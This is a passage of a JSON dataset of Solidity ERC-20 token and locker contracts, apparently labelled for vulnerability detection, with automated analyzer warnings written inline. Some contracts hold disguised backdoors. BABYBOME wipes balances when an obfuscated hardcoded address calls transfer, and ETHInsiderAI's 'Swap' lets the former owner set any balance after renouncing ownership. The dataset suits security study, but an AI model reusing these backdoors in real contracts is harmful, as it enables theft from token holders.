reentrancy-events | ID: 574dc1a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cc7eb53\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cc7eb53\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 574dc1a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-events | ID: 574dc1a\n\t\t// reentrancy-benign | ID: 26ed09d\n\t\t// reentrancy-eth | ID: cc7eb53\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveTxnsLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function setTheBots(address account, bool state) external onlyOwner {\n bots[account] = state;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9293787): pp.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9293787: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-events | ID: 574dc1a\n\t\t// reentrancy-eth | ID: cc7eb53\n\t\t// arbitrary-send-eth | ID: 9293787\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ed514b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ed514b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 87a1555): pp.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 87a1555: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 18c602c): pp.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 18c602c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5deaced): pp.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5deaced: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 387a2d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 387a2d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// reentrancy-eth | ID: 387a2d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// unused-return | ID: 18c602c\n\t\t// unused-return | ID: 5deaced\n\t\t// reentrancy-eth | ID: 387a2d7\n uniswapV2Router.addLiquidityETH{\n value: msg.value > 0 ? msg.value : address(this).balance\n }(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// unused-return | ID: 87a1555\n\t\t// reentrancy-eth | ID: 387a2d7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4ed514b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 387a2d7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manuSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function setBlockBuf(uint8 _amount) external onlyOwner {\n blockBuffer = _amount;\n }\n\n function calculate(\n uint256 amount,\n uint256 bps\n ) public pure returns (uint256) {\n uint256 bpz = bps * 100;\n\n return (amount * bpz) / 10_000;\n }\n}\n",
"file_name": "solidity_code_10.sol",
"size_bytes": 22187,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYBOME\", unicode\"BABYBOME\", 9, 1000000000) {}\n}\n",
"file_name": "solidity_code_100.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function RenounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _tAXTRANSFER(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgexecute = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevexecute = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgexecute == prevexecute;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract ETHInsiderAI is ERC20 {\n uint256 private constant TO_SPPL = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 374cc74): ETHInsiderAI.DEAD shadows ERC20.DEAD\n\t// Recommendation for 374cc74: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: fe29473): ETHInsiderAI.ZERO shadows ERC20.ZERO\n\t// Recommendation for fe29473: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9b0f87): ETHInsiderAI.maxExecuteSwap should be immutable \n\t// Recommendation for a9b0f87: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxExecuteSwap;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 759c030): ETHInsiderAI.maxat should be immutable \n\t// Recommendation for 759c030: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxat;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: d92f713): ETHInsiderAI._TaxBurn should be constant \n\t// Recommendation for d92f713: Add the 'constant' attribute to state variables that never change.\n uint256 _TaxBurn = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 20d66cd): ETHInsiderAI.uniswapV2Router should be immutable \n\t// Recommendation for 20d66cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(address router) ERC20(\"ETH Insider AI\", \"INSIDER\", TO_SPPL) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxat = TO_SPPL / 50;\n\n maxExecuteSwap = TO_SPPL / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burnt = (amount * _TaxBurn) / 100;\n\n super._tAXTRANSFER(from, to, amount, _burnt);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxExecuteSwap, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxat,\n \"Max hold exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}\n",
"file_name": "solidity_code_1000.sol",
"size_bytes": 13295,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ncontract TokenLocker {\n struct LockedToken {\n uint256 amount;\n uint256 unlockTime;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38b75e3): TokenLocker.owner should be immutable \n\t// Recommendation for 38b75e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 894906b): TokenLocker.token should be constant \n\t// Recommendation for 894906b: Add the 'constant' attribute to state variables that never change.\n IERC20 public token =\n IERC20(address(0x4E6415baC66d5C66eFEB0ded7494ae3c648d68cf));\n\n bool _clear = true;\n\n mapping(address => LockedToken[]) public lockedTokens;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function\");\n\n _;\n }\n\n constructor() {\n owner = msg.sender;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c13baaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c13baaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2a8630e): TokenLocker.lockTokens(uint256,uint256) ignores return value by token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 2a8630e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function lockTokens(uint256 amount, uint256 duration) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(duration > 0, \"Duration must be greater than zero\");\n\n\t\t// reentrancy-benign | ID: c13baaf\n\t\t// unchecked-transfer | ID: 2a8630e\n token.transferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-benign | ID: c13baaf\n lockedTokens[msg.sender].push(\n LockedToken({\n amount: amount,\n unlockTime: block.timestamp + 365 days\n })\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 96fd5e5): TokenLocker.withdraw(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= lockedToken.unlockTime,Tokens are still locked)\n\t// Recommendation for 96fd5e5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 86f8e40): TokenLocker.withdraw(uint256) ignores return value by token.transfer(msg.sender,amountToWithdraw)\n\t// Recommendation for 86f8e40: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(uint256 index) external onlyOwner {\n require(index < lockedTokens[msg.sender].length, \"Invalid index\");\n\n LockedToken storage lockedToken = lockedTokens[msg.sender][index];\n\n\t\t// timestamp | ID: 96fd5e5\n require(\n block.timestamp >= lockedToken.unlockTime,\n \"Tokens are still locked\"\n );\n\n uint256 amountToWithdraw = lockedToken.amount;\n\n delete lockedTokens[msg.sender][index];\n\n\t\t// unchecked-transfer | ID: 86f8e40\n token.transfer(msg.sender, amountToWithdraw);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8a19093): TokenLocker.withdrawOtherTokens(uint256) ignores return value by token.transfer(msg.sender,amount)\n\t// Recommendation for 8a19093: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawOtherTokens(uint256 amount) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n\t\t// unchecked-transfer | ID: 8a19093\n token.transfer(msg.sender, amount);\n }\n\n function getLockedTokens() external view returns (LockedToken[] memory) {\n return lockedTokens[msg.sender];\n }\n\n function clearETH(uint256 _p) public payable onlyOwner {\n payable(msg.sender).transfer(_p);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 126198f): TokenLocker.clearTokens(IERC20,uint256) ignores return value by _token.transfer(msg.sender,_amount)\n\t// Recommendation for 126198f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearTokens(IERC20 _token, uint256 _amount) public onlyOwner {\n require(_clear || _token != token, \"REECOIN transfer edilemez!\");\n\n\t\t// unchecked-transfer | ID: 126198f\n _token.transfer(msg.sender, _amount);\n }\n\n function setClear() external onlyOwner {\n _clear = !_clear;\n }\n}\n",
"file_name": "solidity_code_10000.sol",
"size_bytes": 5554,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Wally is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be4f71b): Wally._taxWallet should be immutable \n\t// Recommendation for be4f71b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b5218): Wally._finalBuyTax should be constant \n\t// Recommendation for 84b5218: Add the 